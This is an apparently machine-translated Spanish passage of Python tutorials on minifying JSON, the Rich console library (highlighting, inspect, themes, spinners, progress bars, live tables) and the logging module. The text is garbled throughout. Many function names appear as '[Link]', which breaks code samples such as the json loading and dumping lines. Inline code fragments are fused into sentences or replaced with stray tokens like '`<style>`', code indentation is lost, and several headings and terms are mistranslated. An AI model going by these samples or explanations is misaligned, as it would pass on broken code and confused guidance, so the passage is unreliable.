del hello_frieda.jsonarchivo original con el módulo de Python json:
>>> import json
>>> with open("hello_frieda.json", mode="r", encoding="utf-8") as input_file:
... original_json = input_file.read()
...
>>> json_data = [Link](original_json)
>>> mini_json = [Link](json_data, indent=None, separators=(",", ":"))
>>> with open("mini_frieda.json", mode="w", encoding="utf-8") as output_file:
... output_file.write(mini_json)
...
En el código anterior, se usa `get` de Python .read()para obtener el
contenido hello_frieda.jsoncomo texto. Luego, se usa [Link]()`deserialize`
para deserializarlo original_jsona json_dataun diccionario de Python. Si bien se
podría usar `get` [Link]()para obtener un diccionario de Python directamente,
primero se necesitan los datos JSON como cadena para compararlos correctamente.
Por eso también se usa [Link]()para crear mini_jsony luego
usar .write()en lugar de aprovechar [Link]()directamente para guardar los datos
JSON minimizados en mini_frieda.json.
Como ya aprendiste, [Link]`indent` requiere datos JSON como primer argumento
y luego acepta un valor para la sangría. El valor
predeterminado indentes None`indent`, por lo que podrías omitir la configuración
explícita del argumento, como hiciste anteriormente. Pero con ` indent=Noneindent`,
dejas claro que no deseas ninguna sangría, lo cual será útil para quienes lean tu código más
adelante.
El separatorsparámetro [Link]()permite definir una tupla con dos valores:
1. El separador entre los pares clave-valor o elementos de la lista. Por
defecto, este separador es una coma seguida de un espacio ( ", ").
2. El separador entre la clave y el valor. Por defecto, este separador es dos
puntos seguidos de un espacio ( ": ").
Al configurarlo separators, (",", ":")sigues usando separadores JSON válidos. Pero
le indicas a Python que no agregue espacios después de la coma ( ",") ni de los dos puntos
( ":"). Esto significa que el único espacio en blanco que puede quedar en tus datos JSON
es el que aparece en los nombres de las claves y los valores. ¡Es bastante eficiente!
Una vez que ambos original_jsonarchivos mini_jsoncontengan tus cadenas JSON,
es hora de compararlos:
>>> original_json
'{"name": "Frieda", "is_dog": true, "hobbies": ["eating", "sleeping", "barking"],
"age": 8, "address": {"work": null, "home": ["Berlin", "Germany"]},
"friends": [{"name": "Philipp", "hobbies": ["eating", "sleeping", "reading"]},
{"name": "Mitch", "hobbies": ["running", "snacking"]}]}'
>>> mini_json
'{"name":"Frieda","is_dog":true,"hobbies":["eating","sleeping","barking"],
"age":8,"address":{"work":null,"home":["Berlin","Germany"]},
"friends":[{"name":"Philipp","hobbies":["eating","sleeping","reading"]},
{"name":"Mitch","hobbies":["running","snacking"]}]}'
>>> len(original_json)
284
>>> len(mini_json)
256
Ya puedes apreciar la diferencia entre original_jsonambos mini_jsonal observar la
salida. Luego, usas la len()función para verificar que el tamaño de mini_jsones
efectivamente menor. Si te intriga por qué la longitud de las cadenas JSON coincide casi
exactamente con el tamaño de los archivos escritos, investigar Unicode y las codificaciones
de caracteres en Python es una excelente idea.
Tanto `json` jsoncomo `json` [Link] excelentes herramientas para formatear
datos JSON o para minificarlos y ahorrar bytes. Con el jsonmódulo `json`, puedes
interactuar fácilmente con datos JSON en tus programas de Python. Esto es ideal cuando
necesitas mayor control sobre cómo interactúas con JSON. El [Link]ódulo `json`
resulta muy útil cuando quieres trabajar con datos JSON directamente en tu terminal.
El paquete Rich de Python
El paquete Rich de Python es un conjunto de herramientas que te ayuda a generar texto con
un formato atractivo y resaltado en la consola. En términos más generales, te permite crear
una interfaz de usuario (TUI) atractiva basada en texto.
¿Por qué elegir una interfaz de texto en lugar de una interfaz gráfica de usuario (GUI)? A
veces, una interfaz de texto resulta más apropiada. ¿Para qué usar una GUI completa para
una aplicación sencilla, cuando una interfaz de texto elegante es suficiente? Trabajar con
texto plano puede ser una experiencia gratificante. El texto funciona en prácticamente
cualquier entorno de hardware, incluso en una terminal SSH o en la pantalla de una placa
de desarrollo. Además, muchas aplicaciones no requieren la complejidad de un sistema de
ventanas gráficas completo.
En este tema, aprenderás cómo Rich puede ayudarte:
Mejora la interfaz de usuario de las herramientas de línea de comandos
Mejora la legibilidad de la salida de la consola.
Crea paneles de control atractivos para datos tabulares en tiempo real.
Generar informes bien formateados
Will McGugan , autor de Rich, también ha desarrollado el paquete Textual . Mientras que
Rich es un conjunto de herramientas para texto enriquecido, Textual es un marco de
aplicación completo basado en Rich. Proporciona clases base para aplicaciones, una
arquitectura orientada a eventos y mucho más.
Rich ofrece muchísimas posibilidades por sí solo, y su compatibilidad con visualizaciones
dinámicas y atractivas puede ser suficiente para tu aplicación. Siguiendo este tutorial,
experimentarás con muchas de las interesantes funciones de Rich y, finalmente, pondrás en
práctica tus habilidades para crear una visualización tabular de precios de criptomonedas
con desplazamiento dinámico.
Para comprender completamente la sintaxis de Rich para animaciones, es necesario tener
un buen dominio de los administradores de contexto . Pero si lo tienes un poco oxidado, ¡no
te preocupes! En este tutorial encontrarás un repaso rápido.
Obtén tu código: Haz clic aquí para descargar un código de muestra gratuito que te
muestra cómo usar Rich para crear código y aplicaciones Python más atractivas.
Instalando Rich
Puedes empezar a usar Rich muy rápidamente. Como siempre al iniciar un nuevo proyecto
o investigación, es mejor crear primero un entorno virtual para evitar dañar la instalación de
Python de tu sistema.
Es posible instalar Rich y usarlo con el intérprete de comandos interactivo (REPL) de
Python integrado, pero para una mejor experiencia de desarrollo, conviene incluir
compatibilidad con Jupyter Notebooks . A continuación, te mostramos cómo instalar Rich
para que funcione tanto con el REPL como con Jupyter:
Windows
Linux + macOS
PS> python -m venv venv
PS> venv\Scripts\activate
(venv) PS> python -m pip install rich[jupyter]
Ahora que has instalado Rich en tu nuevo entorno virtual, puedes probarlo y obtener una
buena descripción general de sus capacidades:
(venv) $ python -m rich
Al ejecutar este comando, ocurrirán cosas mágicas. Tu terminal se llenará de color y verás
varias opciones para personalizar tu interfaz de usuario basada en texto:
Además de mostrar texto colorido en una variedad de estilos, esta demostración también
ilustra algunas de las características más interesantes de Rich.
Puedes ajustar y justificar el texto. Puedes mostrar fácilmente cualquier carácter Unicode,
así como una amplia selección de emojis. Rich renderiza Markdown y ofrece una sintaxis
para crear tablas con un formato elegante.
Rich ofrece muchas más posibilidades, como descubrirás a lo largo de este tutorial.
También puedes probar algunas de las demostraciones de línea de comandos que Rich ha
incluido para sus subpaquetes, para que puedas familiarizarte con las capacidades de cada
uno sin escribir código.
Aquí tienes algunos comandos que puedes probar desde la consola de tu sistema operativo.
Ejecútalos uno por uno para familiarizarte con el potencial de Rich:
(venv) $ python -m [Link]
(venv) $ python -m [Link]
(venv) $ python -m [Link]
La mayoría de estas demostraciones son muy cortas, pero si es necesario, siempre puede
interrumpirlas con Ctrl + C .
Una vez finalizada la instalación, ya puedes empezar a explorar Rich.
Uso de Rich para el desarrollo en Python
Rich puede facilitarte un poco la vida como desarrollador. Por ejemplo, incluye soporte
integrado para formatear y resaltar la sintaxis del código y las estructuras de datos de
Python, y cuenta con una inspect()función muy útil que te permite examinar datos
profundamente anidados.
Puedes aprovechar al máximo el soporte para desarrollo de Rich usándolo
con IPython o Jupyter . Si no conoces estas herramientas, te recomendamos que las
pruebes. Rich ofrece soporte específico para ambas. Sin embargo, aquí explorarás Rich con
el intérprete interactivo ( REPL) integrado .
Resaltado de sintaxis
La primera característica de Rich que explorarás es el resaltado de sintaxis . Esto ayuda a
clarificar la estructura de las instrucciones de programación y los datos. El resaltado de
sintaxis está integrado en print()la función de Rich. Abre la consola interactiva de
Python (REPL), define una estructura de datos simple e imprímela usando la función
integrada de Python print():
>>> student = { "person": {"name": "John Jones", "age": 30, "subscriber": True}}
>>> print(student)
Esto hace exactamente lo que cabría esperar:
Esa salida contiene toda la información que querías mostrar, pero no resulta muy atractiva.
¿No sería genial que los distintos tipos de datos estuvieran codificados por colores para
ofrecer variedad visual y ayudar al usuario a comprender mejor la información? La versión
enriquecida hace precisamente eso:
>>> from rich import print as rprint
>>> rprint(student)
Ahora se destacan los diferentes tipos de datos:
El resaltado de sintaxis facilita la visualización de los tipos que contiene la estructura.
La biblioteca estándar de Python incluye un paquete pprintque permite formatear datos.
Si bien su formateo de estructuras de datos complejas supone una clara mejora con respecto
al formateo integrado print(), no admite texto coloreado.
Dado que la función de Rich print()reemplaza directamente a la función integrada de
Python, podrías sobreescribirla sin problemas print(). Sin embargo, aquí, para facilitar
las comparaciones, la has importado con el alias ` rprint().
Las verdaderas ventajas de formatear el código se hacen evidentes al trabajar con
estructuras más complejas. Veamos un pequeño ejemplo. Supongamos que estás diseñando
una estructura de datos para tu última aplicación y has codificado manualmente este
diccionario:
>>> superhero = {"person": {"name": "John Jones", "age":30,
... "address":{"street": "123 Main St", "city": "Gotham",
... "state":"NY", "zip_code": "12345"},
... "superpowers":{"leaps_buildings":True,"factorizes_polynomials":False},
... "contacts":[{"type":"email","value":"[Link]@[Link]"},
... {"type":"phone","value":"555-123-4567"}],
... "hobbies": ["reading","hiking","coding","crimefighting"],
... "family":{"spouse": {"name":"Griselda Jones", "age":28},
... "children":[{"name":"Bellatrix", "age":5, "name":"Draco", "age":8}
... ]}}}
El intérprete de comandos de Python (REPL) es bastante permisivo con el formato de
entrada. Siempre que tu código sea Python válido, como en este caso, el REPL lo aceptará
sin problemas.
Sigues programando. Un poco más tarde, decides escribir el código que analiza esta
estructura de datos. Para recordar los detalles, lo imprimes:
Los datos están todos ahí, pero el REPL tiene sus propias ideas sobre el formato. Sin duda,
es posible revisar esta print()salida e identificar los diccionarios y listas anidados. Pero
ya es una tarea algo tediosa, y una estructura mucho mayor podría ser realmente molesta.
Ahora veamos qué sucede cuando la formateamos:
>>> rprint(superhero)
El código está bien formateado y aprovecha el resaltado de sintaxis:
No solo la maquetación es más lógica, sino que además los distintos tipos de datos se
muestran con colores diferentes. Seguramente estarás de acuerdo en que esto facilita mucho
la comprensión de la estructura.
¿Siempre quieres que tus estructuras de datos se presenten así mientras desarrollas? Como
probablemente sabes, cuando simplemente escribes el nombre de una variable en el REPL y
pulsas Intro Enter , se muestra el valor de esa variable en la consola. Por defecto, el
formato es el mismo que para `int` print(). Pero ¿no sería mejor que ese valor se
imprimiera con formato legible por defecto? Puedes instalar la opción de impresión legible
enriquecida en el REPL:
>>> from rich import pretty
>>> [Link]()
Ahora, con solo escribir el nombre de tu variable en el REPL, obtendrás automáticamente
una representación formateada y resaltada, como la rprint()salida anterior. Incluso
puedes configurar tu REPL para que instale siempre la función de formateo de Rich al
inicio. ¡Mostrar tus estructuras de datos en un formato legible y atractivo puede hacer que
tu experiencia de programación sea mucho más agradable y productiva!
Inspección de objetos de código
Es genial que tus estructuras de datos ahora tengan un formato y código de colores
atractivo, pero eso no siempre es suficiente durante el desarrollo. A veces, querrás ver a
fondo una estructura de datos y comprender realmente cómo funciona. Para ello, puedes
usar inspect()la función de Rich. Mira lo que puede hacer con tu estructura de datos de
ejemplo:
>>> from rich import inspect
>>> inspect(superhero, methods=True)
Con inspect()`Rich`, puedes examinar a fondo el funcionamiento interno de un objeto.
Dado que `Rich` superheroes un objeto de tipo `Object` dict, Rich te muestra todos
los dictconstructores disponibles antes de mostrar los datos formateados como antes. A
continuación, gracias al methods=Trueparámetro opcional `--means`, también
obtienes un práctico resumen de los métodos del objeto con sus breves cadenas de
documentación y tipos de parámetros:
La inspect()función es bastante potente. Puede obtener una descripción completa de sus
parámetros escribiendo inspect(inspect)como se sugiere en la salida anterior.
La biblioteca estándar de Python cuenta con su propio inspectmódulo que permite la
inspección en tiempo real de objetos de código. Es mucho más potente, y también mucho
más complejo, que la función `Rich` que has estado usando. Deberías echarle un vistazo si
necesitas una introspección de código exhaustiva. inspectSin embargo, el módulo de
Python no ofrece resaltado de sintaxis. Para análisis sobre la marcha, puede que la función
`Rich` te resulte más práctica.
La Consoleclase
Rich incluye una Consoleclase que encapsula la mayoría de las funcionalidades del
paquete. Una Consoleinstancia puede formatear texto, generar registros con colores o
imprimir JSON de forma legible, además de gestionar sangría, líneas horizontales, widgets,
paneles y tablas, así como avisos interactivos y animaciones. Es posible
capturar Consolela salida y exportarla como texto, SVG o HTML.
Nota: La print()función que viene con Rich es un atajo que admite algunas de
las Consolecaracterísticas. En programas más largos, es preferible Consoleusar
su .print()método [Link](), ya que es más potente.
ConsoleInterpretará el marcado de la consola para aplicar colores y atributos al texto
sobre la marcha. Todas estas funciones están disponibles según las capacidades de tu
terminal, pero la mayoría de los emuladores de terminal modernos funcionarán
correctamente. El marcado de la consola consiste en etiquetas emparejadas entre corchetes:
>>> from [Link] import Console
>>> console = Console()
>>> [Link]("[green underline]Green underline[/green underline] "
... "[blue italic]Blue italic[/blue italic]")
Los estilos especificados se aplican al texto dentro de las etiquetas:
En el apéndice Rich encontrará una lista completa de los nombres, códigos hexadecimales y
valores RGB de los 255 colores de texto estándar . También puede consultarlos desde la
línea de comandos.
(venv) $ python -m [Link]
Si tu terminal admite colores verdaderos, puedes especificar cualquiera de los dieciséis
millones de colores disponibles mediante sus valores RGB. Además de una gama completa
de colores de texto, el marcado de consola admite atributos como bold`<style>
`, `<style>` , `<style>`, blink` <style>` y ` <style> `.reverseunderlineitalic
Una combinación de un color y atributos se llama estilo Style, y puedes combinar varios
estilos en un diccionario para crear un estilo Theme:
>>> from [Link] import Console
>>> from [Link] import Theme
>>> custom_theme = Theme(
... {"info": "bold cyan", "warning": "magenta", "danger": "bold red"}
... )
>>> console = Console(theme=custom_theme)
En custom_theme, has definido estilos complementarios que puedes aplicar a
cualquier Consoleinstancia:
Utilizar un Consoleobjeto con un elemento `<div>` Themeayuda a mantener la
coherencia del formato en toda la aplicación.
Registro y seguimiento de pila
Crear buenos registros de eventos es fundamental para escribir código mantenible. El
registro de eventos ayuda durante el desarrollo y las pruebas al confirmar que el código
sigue las rutas esperadas. Es invaluable cuando surgen problemas en el código de
producción, ya que los registros bien ubicados pueden revelar comportamientos anómalos
del código que pueden pasar desapercibidos.
Esta Consoleclase admite el registro de eventos con formato y utiliza una sintaxis muy
similar a la del paquete estándar de Pythonlogging . Puede generar seguimientos de
pila bien formateados de cualquier excepción no controlada en su código, utilizando estilos
definidos Theme.
Los mensajes de error y seguimiento de pila integrados de Python se vuelven más
informativos y útiles con cada nueva versión, pero una mejora visual nunca viene mal, y
nada sustituye a unos buenos mensajes de registro que proporcionen contexto para un fallo.
Siguiendo con el ejemplo anterior, puedes generar algunos ejemplos de salida de registro:
>>> from [Link] import install
>>> install(show_locals=True)
Los mensajes de registro también pueden usar el Themeque definiste en el fragmento de
código anterior:
Con esta herramienta [Link](), se añaden automáticamente marcas de tiempo,
nombres de archivo fuente y números de línea fuente a las instrucciones de registro.
Mientras todo funcione con normalidad, solo obtendrás un registro limpio, como el
anterior. Pero si se produce un fallo durante el desarrollo, querrás registrar la mayor
cantidad de información posible sobre la causa. Intenta lanzar una excepción
manualmente RuntimeErrory observa la diferencia:
Cuando se produce una excepción, el seguimiento de pila puede mostrar opcionalmente
todas las variables locales, así como la traza de la pila del error. Es posible que la sesión
contenga más variables locales, por lo que la salida podría ser diferente.
Herramientas como estas pueden hacer que tu experiencia de desarrollo sea mucho más
agradable y productiva. Los mensajes de error de Rich, con sus colores vivos y su
presentación clara, son mucho más legibles que los seguimientos de pila predeterminados
de Python. ¡Incluso puede que te alegres de recibir una excepción!
Cómo mantener la atención del usuario mediante la animación
Rich es mucho más que herramientas para desarrolladores. Su principal objetivo es
ayudarte a crear una interfaz atractiva e interesante para el usuario. Las animaciones son
una herramienta muy valiosa para lograrlo. Las herramientas de animación de Rich están
diseñadas para usar gestores de contexto . Aquí, verás un breve repaso de qué son los
gestores de contexto y cómo funcionan. Si deseas una explicación más detallada, puedes
consultar Gestores de contexto y withla instrucción Statement de Python .
Comprensión de los gestores de contexto
Un gestor de contexto es un mecanismo para llevar un registro de los recursos. Se puede
usar en cualquier situación donde un recurso, como un archivo , un socket o un hilo, deba
asignarse a una tarea y luego devolverse al sistema. En Python, un gestor de contexto se
invoca con la withpalabra clave `context` y permanece activo dentro del bloque de código
indentado subsiguiente. Cuando la ejecución del código sale del bloque, las acciones de
limpieza se ejecutan automáticamente.
En el caso de las animaciones Rich, los recursos son los temporizadores y las variables que
permiten controlar los cambios en la visualización. La biblioteca Rich proporciona
administradores de contexto para gestionar estos recursos. Como programador, puedes
obviar en gran medida las complejidades y confiar en que el administrador de contexto hará
lo correcto.
Visualización de estado dinámico con animaciones
Rich tiene una Statusclase que puedes usar para mostrar el estado de tu programa. La
forma recomendada de usarla es como administrador de contexto. Crea un
archivo rich_status.pypara investigar cómo funciona:
dynamic_status.py
import time
from [Link] import Console
def do_something_important():
[Link](5.0) # Simulates a long process
console = Console()
with [Link](
"Please wait - solving global problems...", spinner="earth"
):
do_something_important()
[Link]("All fixed! :sunglasses:")
El ámbito del administrador de contexto comienza en la línea 8. Se
llama [Link]()con dos parámetros: el mensaje que se va a mostrar y el
indicador de carga animado que aparece junto con el mensaje mientras el bloque de
contexto está activo.
La llamada a la función do_something_important()en la línea 11 se realiza
dentro del ámbito del administrador de contexto, por lo que el mensaje y el indicador de
carga permanecen visibles hasta que dicha función finaliza cinco segundos después.
Finalmente, en la línea 13, se anuncia el éxito. La status()animación desaparece, dando
paso a un alegre anuncio y un emoji.
En este ejemplo , el spinnerparámetro en cuestión generó una imagen del planeta
girando. ¿Pero cómo puedes descubrir qué otros generadores de rotación puedes usar?
Puedes ver todas las spinneranimaciones disponibles usando otra práctica demostración
a nivel de módulo:
(venv) $ python -m [Link]
Verás que tienes una amplia selección de animaciones geométricas, además de algunas más
pictóricas, como "clock", "smiley", y "weather".
De forma similar, la :sunglasses:sintaxis de la línea 11 muestra cómo incorporar
emojis estáticos en texto en línea usando nombres separados por dos puntos. Puedes
insertar emojis dondequiera que Rich muestre texto, como en una log()declaración, un
mensaje o una tabla. Y, por supuesto, Rich cuenta con miles de emojis más que puedes usar
de esta manera. Al igual que con las spinnerimágenes, puedes mostrar el catálogo
completo de nombres e imágenes de emojis usando otra demostración de línea de
comandos:
(venv) $ python -m [Link]
Hay demasiados emojis disponibles como para que quepan en una sola pantalla.
Si prefieres una referencia en línea, también puedes encontrar spinners y emojis
catalogados en la Richdocumentación .
Animación de actividades con barras de progreso
Los indicadores de carga animados son útiles si la espera es corta, pero para procesos más
largos, conviene indicar al usuario cuánto tiempo tardará. Para este caso, Progressla
clase de Rich es la solución. Las instancias de esta clase realizan un seguimiento de una o
más tareas asíncronas y muestran su progreso mediante una barra animada, un porcentaje
completado y un tiempo estimado para finalizar. A continuación, te mostramos cómo
implementarlo:
progress_indicator.py
import time
from [Link] import Progress
with Progress() as progress:
task1 = progress.add_task("[red]Fribbulating...[/]", total=1000)
task2 = progress.add_task("[green]Wobbulizing...[/]", total=1000)
task3 = progress.add_task("[cyan]Fandangling...[/]", total=1000)
while not [Link]:
[Link](task1, advance=0.5)
[Link](task2, advance=0.3)
[Link](task3, advance=0.9)
[Link](0.01)
La Progressclase anima y resalta la pantalla a medida que avanzan las tareas. A modo
de ejemplo, las tareas avanzan a velocidades diferentes:
En una aplicación real, se podría llamar al .update()método para una tarea como la
descarga de un archivo, con el advanceparámetro calculado a partir del número de
bytes descargados.
Nota: Puedes usar marcado de consola en la mayoría de las cadenas, incluidas las
descripciones de progreso del ejemplo. Como abreviatura, puedes usar `<style>` [/]para
cerrar el último estilo aplicado.
Como ocurre con la mayoría de las clases Rich, existen numerosas maneras de personalizar
los detalles de lo que Progressse muestra. Puede consultar los detalles en
la documentación de Rich.
Dando vida a las mesas
Si trabajas con muchos datos, una tabla suele ser la forma más compacta de presentarlos.
Sin embargo, las tablas de datos simples pueden resultar algo monótonas. En esta sección,
verás cómo usar las herramientas de creación de tablas de Rich, junto con el formato y la
coloración, para crear una tabla que realmente capte la atención del usuario.
Las tablas estáticas tienen su utilidad, pero ahora les darás un toque realmente llamativo.
Usarás animaciones enriquecidas para convertir tu tabla en una visualización simulada en
tiempo real. Una tabla desplazable y actualizable como esta podría ser la función principal
de tu aplicación, o solo una parte de un panel de datos completo.
Creación de una tabla estática
Rich tiene una Tableclase que permite crear atractivas visualizaciones de datos tabulares.
Aquí tienes un ejemplo que muestra cómo puedes configurar formatos y colores para cada
columna:
noble_gases.py
from [Link] import Console
from [Link] import Table
console = Console()
table = Table(title="Noble Gases")
table.add_column("Name", style="cyan", justify="center")
table.add_column("Symbol", style="magenta", justify="center")
table.add_column("Atomic Number", style="yellow", justify="right")
table.add_column("Atomic Mass", style="green", justify="right")
table.add_column("Main Properties", style="blue", justify="center")
noble_gases = [
{"name": "Helium", "symbol": "He", "atomic_number": 2,
"atomic_mass": 4.0026, "properties": "Inert gas"},
{"name": "Neon", "symbol": "Ne", "atomic_number": 10,
"atomic_mass": 20.1797, "properties": "Inert gas"},
{"name": "Argon", "symbol": "Ar", "atomic_number": 18,
"atomic_mass": 39.948, "properties": "Inert gas"},
{"name": "Krypton", "symbol": "Kr", "atomic_number": 36,
"atomic_mass": 83.798, "properties": "Inert gas"},
{"name": "Xenon", "symbol": "Xe", "atomic_number": 54,
"atomic_mass": 131.293, "properties": "Inert gas"},
{"name": "Radon", "symbol": "Rn", "atomic_number": 86,
"atomic_mass": 222.0, "properties": "Radioactive gas"},
{"name": "Oganesson", "symbol": "Og", "atomic_number": 118,
"atomic_mass": "(294)", "properties": "Synthetic radioactive gas"},
]
for noble_gas in noble_gases:
table.add_row(
noble_gas["name"],
noble_gas["symbol"],
str(noble_gas["atomic_number"]),
str(noble_gas["atomic_mass"]),
noble_gas["properties"],
)
[Link](table)
Una tabla puede ser una forma muy práctica de presentar este tipo de datos:
La TableAPI te ofrece una forma intuitiva de crear una visualización tabular atractiva.
Animación de una pantalla desplazable
Una tabla estática es adecuada para mostrar datos estáticos, pero ¿qué ocurre si quieres
mostrar datos dinámicos en tiempo real? Rich dispone de una clase Liveque te ayuda a
hacerlo. LiveSe trata de un gestor de contexto que controla el formato de la consola, lo
que te permite actualizar los campos que quieras sin alterar el resto del diseño. Para
tu Livedemostración, utilizarás datos reales de criptomonedas, obtenidos de una API
gratuita .
Para que la demostración se centre en los aspectos visuales, utilizaremos datos predefinidos
para simular actualizaciones en tiempo real. Presentaremos cien entradas en una tabla de
solo veinte filas. Para ello, desplazaremos los datos por la tabla en un bucle infinito,
simulando la llegada continua de nuevos datos.
En una aplicación real, podrías recibir actualizaciones en tiempo real de una API de
criptomonedas, las cuales agregarías al final de la tabla mientras que los datos más antiguos
se desplazarían hacia abajo desde la parte superior. El efecto visual general sería muy
similar al de tu demostración.
Acceso a los datos criptográficos
Dado que los datos criptográficos son algo voluminosos, los colocarás en un archivo JSON
aparte:
Este archivo JSON contiene una única estructura de datos de gran tamaño: una lista de
diccionarios, cada uno con los campos de interés especificados. La API real devuelve más
de dos mil símbolos, pero estos cien serán suficientes para su demostración.
Codificación de la tabla en vivo
A continuación, escribirás el módulo live_table.pyque contiene el código para mostrar
la tabla dinámica. Este código leerá datos de crypto_data.json.
Tu nuevo módulo contiene una única función principal make_table(coin_list).
Esta función utiliza Tablela clase de Rich para generar una tabla formateada con una
sección de tus datos. Luego, en el código del módulo principal, usarás el método Livedel
objeto .update()para envolver una llamada a make_table()cada actualización de
los datos de la tabla.
live_table.py
import contextlib
import json
import time
from pathlib import Path
from [Link] import Console
from [Link] import Live
from [Link] import Table
console = Console()
def make_table(coin_list):
"""Generate a Rich table from a list of coins"""
table = Table(
title=f"Crypto Data - {[Link]()}",
style="black on grey66",
header_style="white on dark_blue",
)
table.add_column("Symbol")
table.add_column("Name", width=30)
table.add_column("Price (USD)", justify="right")
table.add_column("Volume (24h)", justify="right", width=16)
table.add_column("Percent Change (7d)", justify="right", width=8)
for coin in coin_list:
symbol, name, price, volume, pct_change = (
coin["symbol"],
coin["name"],
coin["price_usd"],
f"{coin['volume24']:.2f}",
float(coin["percent_change_7d"]),
)
pct_change_str = f"{pct_change:2.1f}%"
if pct_change > 5.0:
pct_change_str = f"[white on dark_green]{pct_change_str:>8}[/]"
elif pct_change < -5.0:
pct_change_str = f"[white on red]{pct_change_str:>8}[/]"
table.add_row(symbol, name, price, volume, pct_change_str)
return table
# Load the coins data
raw_data = [Link](Path("crypto_data.json").read_text(encoding="utf-8"))
num_coins = len(raw_data)
coins = raw_data + raw_data
num_lines = 20
with Live(make_table(coins[:num_lines]), screen=True) as live:
index = 0
with [Link](KeyboardInterrupt):
while True:
[Link](make_table(coins[index : index + num_lines]))
[Link](0.5)
index = (index + 1) % num_coins
La make_table()función que comienza en la línea 11 es similar al código que
escribiste anteriormente para la tabla estática de gases nobles. Solo hay una diferencia. Las
líneas 31 a 35 proporcionan un formato distinto para el pct_changecampo según si es
mayor que el 5 %, menor que el -5 % o se encuentra entre estos dos valores.
La num_linesvariable de la línea 43 determina el número de líneas de la tabla
mostrada. La animación se produce al invocar el Liveadministrador de contexto a partir de
la línea 45.
El screen=Trueparámetro opcional habilita una práctica función Live. Se guarda la
visualización original del texto y Liveeste aparece en una pantalla alternativa. Esto
permite que el programa restaure sin problemas la visualización original cuando la función
finalice y salga del Livecontexto.
El primer parámetro que se pasa a la función Livees la tabla creada por la
función make_table(). Tu programa llamará a la misma función cada vez que
actualice la pantalla. En su primera llamada, en la línea 45, la
función make_table()recibe las primeras num_linesfilas de datos de monedas. En
las llamadas subsiguientes, incluidas [Link]()en la línea 49, los datos se
desplazan progresivamente, usando el indexvalor como punto de partida.
Para simular datos en flujo continuo, divides tus datos estáticos en segmentos. En la línea
42, repites los datos dos veces para evitar una lógica compleja al final del conjunto de
datos. Utilizas el operador módulo ( %) para reiniciar el ciclo indexuna 0vez que hayas
mostrado todos los datos disponibles en la tabla.
Ten en cuenta que el código de actualización en tiempo real se ejecuta dentro de un bucle
infinito. Cuando te canses de ver la tabla desplazándose, puedes interrumpir el código
pulsando Ctrl + C . El gestor de contexto detecta esta interrupción suppress(), sale
del bucle y del Livepropio gestor, detiene la animación y vuelve correctamente a la
pantalla anterior.
Puedes invocar la demostración de la tabla desde la consola del sistema operativo:
(venv) $ python live_table.py
Esto mostrará una tabla desplazable de veinte líneas:
Si deseas modificar la altura de la tabla, puedes hacerlo num_linesen el código o
incluso definirla como parámetro en tu script. Seguramente se te ocurren muchas maneras
de mejorar esta tabla y adaptarla a tus necesidades. En cualquier caso, independientemente
de los ajustes que realices, tendrás una animación atractiva que sin duda encantará a tus
usuarios.
Logging
El registro de eventos en Python permite documentar información importante sobre la
ejecución del programa. Se utiliza el módulo integrado `log` loggingpara capturar los
registros, que proporcionan información valiosa sobre el flujo de la aplicación, los errores y
los patrones de uso. Con el registro de eventos en Python, es posible crear y configurar
registradores, establecer niveles de registro y formatear los mensajes sin necesidad de
instalar paquetes adicionales. También se pueden generar archivos de registro para
almacenar los registros y analizarlos posteriormente.
Al finalizar este tema, comprenderás que:
El registro de eventos consiste en documentar la información de ejecución del
programa para su posterior análisis.
Puedes utilizar el registro para depurar , realizar análisis y supervisar los
patrones de uso .
El registro de eventos en Python funciona configurando los
registradores y estableciendo los niveles de registro .
El uso de una biblioteca de registro proporciona un registro estructurado y
control sobre la salida del registro.
Deberías preferir el registro en cachéprint() porque reduce la carga de
mantenimiento y te permite gestionar los niveles de registro.
En este tutorial, programarás en el intérprete de comandos (REPL) estándar de Python . Si
prefieres usar archivos Python, encontrarás un ejemplo completo de registro de eventos en
formato de script en los materiales de este tutorial. Puedes descargar este script haciendo
clic en el siguiente enlace:
Obtén tu código: Haz clic aquí para descargar el código de muestra gratuito que
usarás para aprender sobre el registro de eventos en Python.
Haz el cuestionario:Pon a prueba tus conocimientos con nuestro cuestionario interactivo
“Registro de eventos en Python”. Recibirás una puntuación al finalizar para ayudarte a
seguir tu progreso de aprendizaje:
Cuestionario interactivo
Registro en Python
En este cuestionario, pondrás a prueba tu comprensión del módulo de registro de Python.
Con este conocimiento, podrás añadir registro a tus aplicaciones, lo que te ayudará a
depurar errores y analizar el rendimiento.
Si te interesa conocer una alternativa al módulo integrado de Python logging,
consulta Cómo usar Loguru para un registro de eventos más sencillo en Python . Mientras
que el registro de eventos de la biblioteca estándar requiere la configuración explícita de
controladores, formateadores y niveles de registro, Loguru viene preconfigurado tras su
instalación con pip .
Comenzando con el módulo de registro de Python
Este loggingmódulo de la biblioteca estándar de Python es un módulo potente y listo
para usar, diseñado para satisfacer las necesidades tanto de principiantes como de equipos
empresariales.
Nota: Dado que los registros ofrecen información valiosa, este loggingmódulo también
suele ser utilizado por otras bibliotecas de Python de terceros. Una vez que tenga más
experiencia en el uso de registros, podrá integrar sus mensajes de registro con los de dichas
bibliotecas para generar un registro homogéneo para su aplicación.
Para aprovechar esta versatilidad, es buena idea comprender mejor
cómo loggingfunciona el módulo internamente. Por ejemplo, podrías echar un vistazo
al loggingcódigo fuente del módulo .
El componente principal del loggingmódulo es algo llamado registrador . Puedes
pensar en el registrador como un reportero en tu código que decide qué registrar, con qué
nivel de detalle y dónde almacenar o enviar estos registros.
Explorando el registrador raíz
Para obtener una primera impresión de cómo loggingfuncionan el módulo y un
registrador, abra el REPL estándar de Python e introduzca el siguiente código:
>>> import logging
>>> [Link]("Remain calm!")
WARNING:root:Remain calm!
La salida muestra el nivel de gravedad antes de cada mensaje, junto con rootel nombre
que el loggingmódulo asigna a su registrador predeterminado. Esta salida muestra el
formato predeterminado, que se puede configurar para incluir información como la fecha y
hora u otros detalles.
En el ejemplo anterior, se envía un mensaje al rootregistrador. El nivel de registro del
mensaje es WARNING. Los niveles de registro son un aspecto importante del registro de
eventos. De forma predeterminada, existen cinco niveles de gravedad estándar para el
registro de eventos. Cada uno tiene una función correspondiente que se puede usar para
registrar eventos en ese nivel de gravedad.
Nota: También existe un NOTSETnivel de registro, que encontrarás más adelante en este
tutorial cuando aprendas sobre los controladores de registro personalizados.
Aquí están los cinco niveles de registro predeterminados, en orden de gravedad creciente:
Nivel de Función Descripción
registro
DEBUG [Link]() Te proporciona información detallada que te
resultará valiosa como desarrollador.
INFO [Link]() Proporciona información general sobre lo que
está sucediendo con su programa.
WARNING [Link]() Indica que hay algo que deberías investigar.
